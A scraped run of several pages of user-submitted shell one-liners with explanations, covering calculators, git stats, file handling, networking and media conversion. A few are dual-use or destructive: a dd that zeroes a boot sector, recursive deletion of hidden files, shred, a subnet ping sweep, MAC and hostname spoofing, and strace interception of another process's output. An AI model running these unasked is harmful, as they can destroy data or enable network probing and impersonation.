19%4 A command line calculator in Perl Once I wrote a command line calculator program in C, then I found this... and added to it a bit. For ease of use I normally use this in a tiny Perl program (which I call pc for 'Perl Calculator') #!/usr/bin/perl -w die "Usage: $0 MATHS\n" unless(@ARGV);for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g}; print eval(join('',@ARGV)),$/; It handles square roots, power, modulus: pc 1+2 (1 plus 2) pc 3x4 (3 times 4) pc 5^6 (5 to the power of 6) pc v 49 ( square root of 49 ) pc 12/3 (12 divided by 3) pc 19%4 (19 modulus 4) (you can string maths together too) pc 10 x 10 x 10 pc 10 + 10 + 10 / 2 pc 7 x v49 for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H $domain.com | grep -o 'No match for')" ]; then echo -ne "Not "; fi; echo "Available for register"; done imeibi.com Available for register ohthei.com Available for register ganixi.com Available for register eicequ.com Available for register ahnaeb.com Available for register maihai.com Not Available for register iuhipa.com Available for register oonahg.com Available for register eijood.com Available for register taxuuc.com Available for register A "Web 2.0" domain name generator and look for register availability You would need pwgen installed first, on ubuntu you can get it by apt-get sudo apt-get install pwgen git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r 217167 askedrelic 11592 bob Functions: perl sort uniq xargs Prints per-line contribution per author for a GIT repository Figures out total line contribution per author for an entire GIT repo. Includes binary files, which kind of mess up the true count. If crashes or takes too long, mess with the ls-file option at the start: git ls-files -x "*pdf" -x "*psd" -x "*tif" to remove really random binary files git ls-files "*.py" "*.html" "*.css" to only include specific file types Based off my original SVN version: http://www.commandlinefu.com/commands/view/2787/prints-total-line-count-contribution-per-user-for-an-svn-repository if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi 'to' is in 'toto' Find if $b is in $a in bash prep () { perl -nle 'print if '"$1"';' $2 } % printf "some\nfake\ntext\n" | prep '/^\s?[Ff]ake\s?$/' fake % printf "some\nfake\ntext\n" > file.txt % prep '/^\s?[Ff]ake\s?$/' file.txt Use Perl like grep If you've ever tried "grep -P" you know how terrible it is. Even the man page describes it as "highly experimental". This function will let you 'grep' pipes and files using Perl syntax for regular expressions. The first argument is the pattern, e.g. '/foo/'. The second argument is a filename (optional). echo "" | php > phpinfo.txt phpinfo from the command line show phpinfo(); from the command line emacs +400 code.py Functions: emacs Open a file at the specified line You may also use +line:column syntax. if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi Non Numeric Check use to execute a block of code only if $var is numeric if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?feed=rss2.html"|g' Complex string encoding with sed Pipe | avoid escaping occurences problems in using sed and make it easier to use vimdiff file{1,2} 1 HELO world | 1 EHLO world ~ | ~ /tmp/file1 1,1 All /tmp/file2 1,1 All start vim in diff mode vim will open both files side by side and show colored diffs echo linux|rev xunil echo something backwards NAME rev - reverse lines of a file or files SYNOPSIS rev [file ...] The rev utility copies the specified files to the standard output, reversing the order of characters in every line. If no files are specified, the standard input is read. AVAILABILITY The rev command is part of the util-linux-ng package and is available from ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng/. sed -n '/test/{/error\|critical\|warning/d;p}' somefile That's what the sed command should've been, sorry. < /dev/rmt/0cbn Fast tape rewind Traditionally we rewind a tape using this syntaxis: mt -f /dev/rmt/0cbn rewind Redirecting the dispositive to nothing as shown above is faster. Less typing is always better. wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.\+\)\\\x26thumbnailUrl\\\x3dhttp" | grep -o "http.\+" | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e | sed 's/.\{22\}$//g' | xargs wget -O OUPUT_FILE Functions: echo grep sed wget xargs Video Google download 1. VURL: replace with url. I.e. http://video.google.com/videoplay?docid=12312312312312313# 2. OUPUT_FILE : optionally change to a more suited name. This is the downloaded file. I.e. foo.flv # Improvements greatly appreciated. (close to my first linux command after ls -A :) ) Breakedown pipe by pipe: 1. wget: html from google, pass to stdout 2. grep: get the video url until thumbnailUrl (not needed) 3. grep: Strip off everything before http:// 4. sed: urldecode 5. echo: hex escapes 6. sed: stipr of tailing before thumbnailUrl 7. wget: download. Here one could use i.e. mplayer or other... function decToBin { echo "ibase=10; obase=2; $1" | bc; } $ for i in {0..10}; do decToBin $i; done 100 101 110 111 1000 1001 1010 Convert decimal numbers to binary Convert some decimal numbers to binary numbers. You could also build a general base-converter: function convBase { echo "ibase=$1; obase=$2; $3" | bc; } then you could write function decToBun { convBase 10 2 $1; } find -name "*[^a-zA-Z0-9._-]*" ./dir/s p a c e s.txt ./dir/bad-chars-!%+[].txt Find all files that have nasty names Get a list of file names that may cause problems (eg being served on a webserver, typing a URL on a mobile, etc) dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync 16384+0 records in 16384+0 records out 1073741824 bytes (1.1 GB) copied, 6.10176 seconds, 176 MB/s Test disk I/O Especially useful to gauge the performance of a VPS. alias counts=sort | uniq -c | sort -nr Functions: alias sort uniq A nice command for summarising repeated information file -i file -i data.sql data.sql: text/x-c charset=iso-8859-1 This command gives you the charset of a text file, which would be handy if you have no idea of the encoding. ‹ First < 109 110 111 112 113 > Last › No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 10.04 LTS Codename: lucid Works on Ubuntu ack; pcregrep Much better alternatives - grep-alikes using perl regexps. With more options, and nicer outputs. gnuplot -p <(echo "set style data hist; set xtic rot by -45; plot '<(stat -c \"%n %s\" *)' u 2:xtic(1)") histogram of file size ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf - get a directory from one machine to another using tar and ssh lsli() { ls -l --color "$@" | awk '{ for(i=9;i file_numbered.txt Number file printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g') Hello%20World Hello World \unescaped! Functions: echo printf sed My version uses printf and command substitution ($()) instead of echo -e and xargs, this is a few less chars, but not real substantive difference. Also supports lowercase hex letters and a backslash (\) will make it through unescaped curl ifconfig.me/all/json Request all information about my IP address in json format for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:$(( $RANDOM % 16 )):1} ; done | sed -e 's/\(..\)/:\1/g' | sed 's/.\(.*\)/\1/' ; echo; done 57:46:94:C4:2E:8C 81:03:BA:C0:69:F2 58:1D:AB:FE:BC:70 C6:1F:49:58:9B:94 17:6B:BF:8D:C5:E8 BA:0E:9A:0F:BA:B6 54:45:62:93:C3:46 2B:A8:0E:04:4E:39 47:3E:B0:63:72:AE 42:E9:EE:AA:EC:E7 76:B3:60:0F:B9:AA C4:33:DB:6B:55:71 A1:CE:52:15:9B:4E First set the variable $hexchars: hexchars="0123456789ABCDEF" Change the number in the first for loop if you need less then 1200 mac addresses alias beep='echo -en "\007"' ring the bell lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep . # Mac, ip, and hostname change - sweet! ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehe re) Can be integrated into your .bashrc if you like. You'll probably want to grep out my name. bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i"; sed -i "s/$S/$R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; } Functions: cd exit ls mkdir rm sed Batch edition of all OpenOffice.org Writer files in the current directory (body text) This function does a batch edition of all OOO3 Writer files in current directory. It uses sed to search a FOO pattern into body text of each file, then replace it to foo pattern (only the first match) . I did it because I've some hundreds of OOO3 Writer files where I did need to edit one word in each ones and open up each file in OOO3 gui wasn't an option. Usage: bsro3 FOO foo h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:$(($RANDOM%16)):1};if [[ $((c%2)) = 0 && $c != 12 ]];then echo -n :;fi;done;echo 7A:F1:83:0F:F0:67 Much shorter as well. say WORD OSX: Hear pronunciation of a word I often use this command to learn pronunciation of unfamiliar words. find $HOME -name '*.sol' -exec rm {} \; Maybe you want first check which files will be deleted: find $HOME -name '*.sol' -exec echo rm {} \; gqG Force wrap all text to 80 columns in Vim This is assuming that you're editing some file that has not been wrapped at 80 columns, and you want it to be wrapped. While in Vim, enter ex mode, and set the textwidth to 80 columns: :set textwidth=80 Then, press: gg to get to the top of the file, and: to wrap every line from the top to the bottom of the file at 80 characters. Of course, this will lose any indentation blocks you've setup if typing up some source code, or doing type setting. You can make modifications to this command as needed, as 'gq' is the formatting command you want, then you could send the formatting to a specific line in the file, rather than to the end of the file. gq49G Will apply the format from your current cursor location to the 49th row. And so on. sed '/./,$!d' remove leading blank lines diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key ) # diff <(openssl x509 -noout -modulus -in server.crt) <(openssl rsa -noout -modulus -in server.key) Check if x509 certificate file and rsa private key match A x509 certificate and a rsa key file have in common a parameter called modulus, it is a very long hexadecimal number. That value is unique for each certficate / key pair. The command allows to do the check of this pair of values in a script using a great feature of bash. " tr -d '\r\n' < input_file.txt > output_file.txt Remove CR LF from a text file Remove CR LF (CRLF) from a text file. use man:tr to get more info about removing other characters from a file. and even character to character replacements. ls -w 1 > list.m3u Make a playlistfile for mpg321 or other CLI player A short variant if you have only one directory whit only audio files in it. ls ${my_dir:=/home} ls /my/chosen/directory || ls /home Use default value if unassigned Will use variable value (for variable $my_dir, in this case), an assign a default value if there is none. find /etc/rc3.d/ | sort -g List of services sorted by boot order in Redhat-based systems (ulimit -v 1000000; scriptname) Functions: ulimit Limit memory usage per script/program When I'm testing some scripts or programs, they end up using more memory than anticipated. In that case, computer nearly halts due to swap space usage, and sometimes I have to press Magic SysRq+REISUB to reboot. So, I was looking for a way to limit memory usage per script and found out that ulimit can limit memory. If you run it this way: $ ulimit -v 1000000 $ scriptname Then the new memory limit will be valid for that shell. I think changing the limit within a subshell is much more flexible and it won't interfere with your current shell ulimit settings. note: -v 1000000 corresponds to approximately 1GB of RAM myhex=$(printf '%02X' ${myip//./ };) where myip=10.10.10.5, $myhex will equal "0A0A0A05" Convert IP octets to HEX with no dots. Converts IP octets to hex using printf command. Useful for generating pxeboot aliases in the pxelinux.cfg folder. rm -r .??* Remove all hidden files in a directory Remove all hidden files in a directory excluding current dir . and parent dir .. with .??* that means files with at least two characters. ‹ First < 110 111 112 113 114 > Last › ls -la /dev/disk/by-id/usb-* lrwxrwxrwx 1 root root 9 nov 25 10:49 /dev/disk/by-id/usb-Kingston_DataTravelerMini_5B770600001E-0:0 -> ../../sdb lrwxrwxrwx 1 root root 10 nov 25 10:49 /dev/disk/by-id/usb-Kingston_DataTravelerMini_5B770600001E-0:0-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 9 nov 25 10:57 /dev/disk/by-id/usb-RockChip_USB_MP3_USBV1.00-0:0 -> ../../sdc Get names of files in /dev, a USB device is attached to This command lists the names of your USB devices connected and what file in /dev they are using. It's pretty useful if you don't have an automount option in your desktop or you don't have any graphical enviroment. ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 -y output.mkv Screencast with ffmpeg x11grab requires ffmpeg & xwininfo to be installed replace hw:0,0 with pulse if you like using pulseaudio press q to quit sed '1!G;h;$!d' reverse order of file grep -rni string dir Print line numbers also, so you don't have to search through the files once its open for the string you already grepped for. TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10 2584 cupsd 0.25% 3096 tlsmgr 0.30% 3624 getty 0.35% 3948 nm-system-setti 0.38% 3968 gdm 0.38% 4668 hald 0.45% 6404 sshd 0.61% 14716 apache2 1.40% 22104 mysqld 2.11% 33400 console-kit-dae 3.18% Functions: awk grep sort tail Prints the top 10 memory consuming processes (with children and instances aggregated) sorted by total RSS and calculates the percentage of total RAM each uses. Please note that since RSS can include shared libraries it is possible for the percentages to add up to more that the total amount of RAM, but this still gives you a pretty good idea. Also note that this does not work with the mawk version of awk, but it works fine with GNU Awk which is on most Linux systems. It also does not work on OS X. convert -density 300x300 input.pdf output.png Convert a single-page PDF to a hi-res PNG, at 300dpi If you skip this part: -density 300x300 you'll get a very lo-res image. find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5 Functions: find ls sort finding more large files alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep" [nf@dev ~/css]$ rgrep sprites ./template.php:require "css_sprites.php"; ./template.php: $abs_path.'/sprites/', ./template.php: 'sprites.css', ./template.php:include 'sprites.css'; rgrep: recursive grep without .svn Only excludes .svn from filenames. echo init 0 | at now + 2 hours Functions: at echo init power off system in X hours form the current time, here X=2 wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i - Functions: perl wget Go get those photos from a Picasa album G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G 1:Def - 13:30:28 up 33 days, 10:05, 1 user, load average: 1.75, 1.97, 1.97 1TTY PID PPID USER GROUP PR NI %CPU %MEM S WCHAN COMMAND [08:1306 0:834] 02:33:33 Thu Apr 22 [askapache@DROID.vz.uk:/dev/pts/47 +1] /.chef/chroot $ Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init scripts One of my favorite ways to impress newbies (and old hats) to the power of the shell, is to give them an incredibly colorful and amazing version of the top command that runs once upon login, just like running fortune on login. It's pretty sweet believe me, just add this one-liner to your ~/.bash_profile -- and of course you can set the height to be anything, from 1 line to 1000! # save the correct settings to G var. G=$(stty -g) # change the number of rows to half the actual amount, or 50 otherwise stty rows $((${LINES:-50}/2)) # run top non-interactively for 1 second, the output stays on the screen (half at least) top -n1 # reset the terminal back to the correct values, and clean up after yourself stty $G;unset G This trick from my [ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html bash_profile ], though the online version will be updated soon. Just think what else you could run like this! Note 1: I had to edit the toprc file out due to this site can't handle that (uploads/including code). So you can grab it from [ http://www.askapache.com/linux-unix/bash-power-prompt.html my site ] Note 2: I had to come back and edit again because the links weren't being correctly parsed tac -r -s "." FILENAME Reverse a file OFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do NF="${F%.jpg}";NF="${NF/#+(0)/}";NF=$[NF+OFFS];NF="$(printf $FF $NF)".jpg;if [ "$F" != "$NF" ];then mv -iv "$F" "$NF";fi;done Functions: mv printf Give all those pictures the same name format, trailing zeros please for the right order, offset to merge different collections of pictures When you have different digital cameras, different people, friends and you want to merge all those pictures together, then you get files with same names or files with 3 and 4 digit numbers etc. The result is a mess if you copy it together into one directory. But if you can add an offset to the picture number and set the number of leading zeros in the file name's number then you can manage. OFFS != 0 and LZ the same as the files currently have is not supported. Or left as an exercise, hoho ;) I love NF="${NF/#+(0)/}",it looks like a magic bash spell. sudo -i Root shell e2fsck -C -v /dev/device Functions: e2fsck check the filesystem and use a progress bar if you happen to start with out the -C switch then you a killall -USR1 e2fsck echo * time ls * real 0m1.585s user 0m0.003s sys 0m0.037s time echo * real 0m0.001s sys 0m0.001s faster version of ls * I know its not much but is very useful in time consuming scripts (cron, rc.d, etc). while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done Functions: awk hexdump Hear the mice moving Beeps on mouse's every move. Bear in mind that, at least on Ubuntu, /dev/input/mice can be read only by root. vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; } Functions: ar set vim vi a new file with execution mode vix /tmp/script.sh Open a file directly with execution permission. Put the function in your .bashrc You can also put this in your vimrc: command XX w | set ar | silent exe "!chmod +x %" | redraw! and open a new file like this: vi +XX /tmp/script.sh export EMAIL=caiogore@domain.com && mutt -s "chave webmail" destination@domain.com < /dev/null Mutt - Change mail sender. alias grep 'gnu grep -i --color=auto' Use color grep by default Alias the grep command to show colored results by default. find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$' Functions: find grep ls xargs List folders containing only PNGs od -N 4 -t uL -An /dev/random | tr -d " " 2343653312 Functions: od tr Reads 4 bytes from the random device and formats them as unsigned integer between 0 and 2^32-1. ps aux | sort -nk 6 Sort output by column (separator = $IFS) chage -l $chage -l hemanth Last password change : Aug 18, 2009 Password expires : never Password inactive : never Account expires : never Minimum number of days between password change : 0 Maximum number of days between password change : 99999 Number of days of warning before password expires : 7 Functions: chage Show account security settings sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq) Running netselect to choose 3 out of 12 addresses. ........................................................................... 273 68.87.74.162 Functions: egrep sort sudo Find the fastest server to disable comcast's DNS hijacking Comcast is an ISP in the United States that has started hijacking DNS requests as a "service" for its customers. For example, in Firefox, one used to be able to do a quick "I'm Feeling Lucky" Google search by typing a single word into the URL field, assuming the word is not an existing domain when surrounded by www.*.com. Comcast customers never receive the correct NX (non-existent domain) error from DNS. Instead, they are shown a page full of advertising. There is a way to "opt out" from their service, but that requires having the account password and the MAC address of your modem handy. For me, it was easier just to set static DNS servers. But the problem is, which ones to choose? That's what this command answers. It'll show you the three _non-hijacked_ Comcast DNS servers that are the shortest distance away. Perhaps you don't have Comcast (lucky you!), but hopefully this command can serve as an example of using netselect to find the fastest server from a list. Note that, although this example doesn't show it, netselect will actually perform the uniq and DNS resolution for you. Requires: netselect, curl, sort, uniq, grep ‹ First < 111 112 113 114 115 > Last › for i in {1..6}; do printf "%0.2X:" $[ $RANDOM % 0x100 ]; done | sed 's/:$/\n/' Functions: printf sed Shorter and more straightforward. Also in perl: perl -e 'print join(":", map { sprintf "%0.2X",rand(256) }(1..6))."\n"' rndc flush Functions: rndc Empty Bind9 cache Occasionally, to force zone updating, cache flush is necessary. Use this command is better than restart the Bind9 process. last reboot last reboot reboot system boot 2.6.26-1-686 Wed Feb 18 09:08 - 12:20 (2+03:11) reboot system boot 2.6.26-1-686 Fri Feb 13 13:25 - 09:07 (4+19:42) wtmp begins Mon Feb 2 10:26:13 2009 Functions: last Find out the last times your system was rebooted (for the duration of wtmp). lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr Functions: awk cut sort uniq find out which directories in /home have the most files currently open dig -x 74.125.45.100 ; <<>> DiG 9.4.3-P3 <<>> -x 74.125.45.100 ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21635 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 0 ;100.45.125.74.in-addr.arpa. IN PTR 100.45.125.74.in-addr.arpa. 85534 IN PTR yx-in-f100.google.com. ;; Query time: 1011 msec ;; SERVER: 10.10.10.1#53(10.10.10.1) ;; WHEN: Mon Sep 28 17:04:36 2009 ;; MSG SIZE rcvd: 151 Perform a reverse DNS lookup Performs a reverse DNS lookup, variants include: nslookup 74.125.45.100 or: host 74.125.45.100 for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done Functions: awk ping tr Ping sweep without NMAP iostat -m -d /dev/sda1 Device: tps MB_read/s MB_wrtn/s MB_read MB_wrtn find read write traffic on disk since startup The iostat command is used for monitoring system input/output device loading by observing the time the devices are active in relation to their average transfer rates. in ubuntu to get the iostat program do this: sudo apt-get install sysstat i found this command here: http://www.ocztechnologyforum.com/forum/showthread.php?t=54379 phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; } # phonelogs 9371 1300858132 93715322 2010-02-12 06:23:25 06:24:38 1300858132 93715322 2010-02-19 02:01:17 02:01:22 1300858132 93715322 2010-03-08 03:41:25 03:44:45 1300858132 93715322 2010-03-08 09:09:13 09:10:12 1300858132 93715322 2010-03-16 1300858132 93715322 2010-03-16 05:57:24 05:57:49 1300858132 93715322 2010-03-17 06:58:20 06:58:57 Functions: column cut grep sed Print Asterisk phone logs Prints a log of phonecalls placed from/to an asterisk server, formated into an easily readable table. You can use partial number/queue matches, or use .* to match everything. grep -v "^\($\|#\)" $ grep -v "^\($\|#\)" /etc/apt/sources.list deb http://mc.archive.ubuntu.com/ubuntu/ intrepid main restricted deb-src http://mc.archive.ubuntu.com/ubuntu/ intrepid main restricted deb http://mc.archive.ubuntu.com/ubuntu/ intrepid-updates main restricted deb-src http://mc.archive.ubuntu.com/ubuntu/ intrepid-updates main restricted Output files without comments or empty lines Filter comments and empty lines in files. I find this very useful when trying to find what values are actually set in a very long example config file. I often set an alias for it, like : alias nocomment='grep -v "^\($\|#\)"' wn wonder -over Overview of noun wonder The noun wonder has 3 senses (first 3 from tagged texts) 1. (5) wonder, wonderment, admiration -- (the feeling aroused by something strange and surprising) 2. (4) wonder, marvel -- (something that causes feelings of wonder; "the wonders of modern science") 3. (4) curiosity, wonder -- (a state in which you want to learn more about something) Overview of verb wonder The verb wonder has 3 senses (first 3 from tagged texts) 1. (58) wonder, inquire, enquire -- (have a wish or desire to know something; "He wondered who had built this beautiful church") 2. (41) wonder, question -- (place in doubt or express doubtful speculation; "I wonder whether this was the right thing to do"; "she wondered whether it would snow tonight") 3. (2) wonder, marvel -- (be amazed at; "We marvelled at the child's linguistic abilities") commandline dictionary 1) Replace 'wonder' with any word you looking the meaning for in the above example 2) Need to install these packages: wordnet & wordnet-base (latter should be automatically installed because of dependency) 3) Combined size of packages is about 30MB on my old ubuntu system (I find it worth it) alltray -H thunderbird Of course you can dock any app of your choice. find directory/ -mtime 0 -type f Find today created files iptables -nL -v --line-numbers Show current iptables rules, with line numbers egrep "|" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "" '{print $2, $1}' | sed -e 's/\/\\/\">/' -e 's/\//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
  • Morton Feldman ? Something Wild
  • Christopher Bissonnette ? Pellucidity
  • Functions: awk egrep sed last.fm rss parser Quick and kludgy rss parser for the recent tracks rss feed from last.fm. Extracts artist and track link. find /var/www/html/ -type f -mtime +30 -exec basename {} \; Functions: basename find Search for files older than 30 days in a directory and list only their names not the full path awk '//{gsub(/.*|<\/link>.*/,"");print "
  • "t"" } //{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file you can just use one awk script to parse the rss feed. No need to pipe so many awk's and sed's. Its ugly and inefficient. tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf - Copy via tar pipe while preserving file permissions (run this command as root!) It's the same like 'cp -p' if available. It's faster over networks than scp. If you have to copy gigs of data you could also use netcat and the tar -z option in conjunction -- on the receiving end do: # nc -l 7000 | tar -xzvpf - ...and on the sending end do: # tar -czf - * | nc otherhost 7000 find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l Functions: cpp find grep wc xargs Counts number of lines (in source code excluding comments) I took java to make the find command simpler and to state that it works for any language supported by cpp. cpp is the C/C++ preprocessor (interprets macros, removes comments, inserts includes, resolves trigraphs). The -fpreprocessor option tells cpp to assume the input has already been preprocessed so it will only replace comment lines with blank lines. The -L 1 option tells xargs to launch one process for each line, indeed cpp can only process one file at the time... identify -format '%w %h %f\n' *.jpg | awk 'NF==3&&$1<500&&$2<500{print $3}' | xargs -r rm remove *.jpg smaller than 500x500 ldd <executable binary> # ldd /bin/bash Functions: ldd Check executable shared library usage provides list of shared libraries required by executable iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH Route outbound SMTP connections through a addtional IP address rather than your primary somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)" pass the output of some command to a new email in the default email client This depends on 'stripansi' and 'urlencode' commands, which exist on my system as these aliases: alias stripansi='perl -ple "s/\033\[(?:\d*(?:;\d+)*)*m//g;"' alias urlencode='perl -MURI::Escape -ne "\$/=\"\"; print uri_escape \$_"' The `open` command handles URLs on a Mac. Substitute the equivalent for your system (perhaps gnome-open). I don't use system `mail`, so I have this aliased as `mail` and use it this way: git show head | mail perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC' This version works on an AIX system on which I have very limited permissions. The other version fails with "Can't open file /usr/opt/perl588/lib/site_perl/5.8.8/aix/auto/DBI/.packlist". unrar e *.rar unpack all rars in current folder find -iname '*.jpg' -print0 | xargs -0 feh -d View all images So you are in directory with loads of pictures laying around and you need to quickly scan through them all ‹ First < 112 113 114 115 116 > Last › cd /source/directory; tar cf - . | tar xf - -C /destination/directory Recursively move folders/files and preserve their permissions and ownership perfectly grep <pattern> -R . --exclude-dir='.svn' /usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set I use iptables. To rate limit connections. Very easy and no ban lists to manage. file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/} Functions: file ssh This command will download $file via server. I've used this when FTP was broken at the office and I needed to download some software packages. sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb Mount Fat USB with RWX after that, you can launch bash script in your usb drive in FAT32. for f in /*part1.rar;do unrar e .$f.;done Unrar all multipart rar archives in directory nohup ping -i1 www.google.com & Functions: nohup ping ignore HUP interruptions mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv Execute MySQL query send results from stdout to CSV You can, of course, tell MySQL to output results to a file and dictate how to terminate lines, etc. But sometimes you don't have access to the file system MySQL is running on, complicating outputting your results to a CSV, necessitating either annoying hacks or this simple command :D shred -n33 -zx file; rm file Functions: rm shred Safe Delete remove file that has sensitive info safely. Overwrites it 33 times with zeros curl -sI http://blog.binfalse.de Get the header of a website rak "what you're searching for" dir/path Better recursive grep with pretty colors... requires ruby and gems (run: "gem install rak") sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses Sort IP addresses Sort IP address by order dd if=/dev/zero of=/dev/fd0 bs=512 count=1 A DESTRUCTIVE command to render a drive unbootable Overwrites the boot sector. Since this doesn't overwrite any data, you can usually recover by re-creating the partition table exactly the same as before you zeroed it. This can also help sometimes if you install a new drive in a Windows machine which can't read it. seq 1 5 | parallel ssh {}.cluster.net uptime Functions: seq ssh Parallel is from https://savannah.nongnu.org/projects/parallel/ Other examples would be: (echo foss.org.my; echo www.debian.org; echo www.freenetproject.org) | parallel traceroute seq -f %04g 0 9999 | parallel -X rm pict{}.jpg strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g" -e 's/ //g' | xxd -r -p { i=0; while sleep 1; do echo -e "writing a long line to stdout 1 [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] 2 [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB] 3 [CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC] \nline2 == var i=$((i++))";done; } > /dev/null & PID=$! Functions: sed strace intercept stdout/stderr of another process or disowned process Useful to recover a output(stdout and stderr) "disown"ed or "nohup"ep process of other instance of ssh. With the others options the stdout / stderr is intercepted, but only the first n chars. This way we can recover ALL text of stdout or stderr find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext" find text in a file this will find text in the directory you specify and give you line where it appears. ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4 Convert AVI to iPhone MP4 Fir3net.com python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")' You have to do that before : cd ~/.mozilla/firefox/<YOUR PROFILE> Require bash. If you use something else, you may use echo <CODE> | python Forked from ArkSeth python script. gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile> GPL Ghostscript 8.70 (2009-07-31) Copyright (C) 2009 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. Processing pages 1 through 3. Page 1 >>showpage, press <return> to continue<< Page 2 Page 3 convert pdf into multiple png files syntax for resolution is: (see "man gs" for further informations) -rnumber -rnumber1xnumber2 find . -maxdepth 1 -type f | xargs stat File: `./index.html' Size: 7850 Blocks: 16 IO Block: 4096 regular file 